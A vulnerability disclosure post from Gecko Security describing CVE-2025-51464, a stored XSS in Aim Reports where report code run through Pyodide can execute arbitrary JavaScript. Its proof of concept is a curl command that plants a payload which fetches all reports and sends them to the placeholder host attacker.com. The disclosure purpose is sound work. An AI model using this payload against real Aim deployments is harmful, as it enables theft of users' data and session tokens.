Skip to content
CVE-2025-51464: Stored XSS in AIM Reports

CVE-2025-51464: Stored XSS in AIM Reports

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.Artemiy Malyshau· Co-founder & CTO2 min read

Key takeaways

  • A stored cross-site scripting (XSS) was found in Aim Reports allowing malicious Python code to be embedded to execute arbitrary JavaScript in users’ browsers.
  • Source: The entry point is the /api/reports API endpoint which accepts user-supplied Python code in the code field of POST requests.
  • Attackers can run any JavaScript code in victims’ browsers

Description#

A stored cross-site scripting (XSS) was found in Aim Reports allowing malicious Python code to be embedded to execute arbitrary JavaScript in users’ browsers. The issue occurs because the application allows users to store Python code in reports that is automatically executed when viewed by other users. The vulnerability stems from the ability to use Pyodide’s JavaScript bridge without any restrictions, allowing attackers to break out of the intended Python execution sandbox.

Source - Sink Analysis#

  1. Source: The entry point is the /api/reports API endpoint which accepts user-supplied Python code in the code field of POST requests.
  2. Data Flow:
    • Code is stored in the database as-is with no sanitization (via Report model in aim/web/api/reports/models.py)
    • When retrieved, the code is embedded within a React component
    • The markdown renderer interprets code blocks with the “aim” language tag
    • These code blocks are passed to the Board component for execution
  3. Sink: Execution occurs in Board.tsx where:
    • Pyodide loads and executes the Python code
    • The Python code uses pyodide.code.run_js() to execute arbitrary JavaScript
    • No restrictions or checks are implemented on what JavaScript can be executed

The vulnerability exists because there is no sanitization between the API input and the JavaScript execution.

Proof of Concept#

  1. Create a malicious report: bashCopy<code class=“hljs language-bash”>curl --location <span class=“hljs-string”>‘http://127.0.0.1:43800/api/reports’</span> \ --header <span class=“hljs-string”>‘Content-Type: application/json’</span> \ --data <span class=“hljs-string”>’{“name”:“Security Test”,“description”:"",“code”:“```aim\nimport pyodide\npyodide.code.run_js(\“fetch(\\\“/api/reports\\\“).then(r=>r.json()).then(data=>{const img=new Image(); img.src=\\\“https://attacker.com/steal?\\\“+encodeURIComponent(JSON.stringify(data))})\”)\n```”}’</span> </code>
  2. Note the report ID returned in the response
  3. Visit the report and upon loading, the malicious JavaScript executes in the victim’s browser context, sending all reports data to the attacker-controlled server

This demonstrates data exfiltration, but other payloads could perform different malicious actions.

Impact#

  • Attackers can run any JavaScript code in victims’ browsers
  • Steal authentication cookies and tokens
  • Access and steal sensitive information from the application
  • Make authenticated requests on behalf of victims
Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.

Artemiy Malyshau

Co-founder & CTO

Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.

Frequently asked questions

Related content

The latest news, technologies, and resources from our team.

Subscribe to the Gecko Security newsletter

Occasional updates, new content, and insights. No spam; unsubscribe anytime.

We use your email only to send you our newsletter. See our privacy policy for how we handle your data. You can unsubscribe at any time.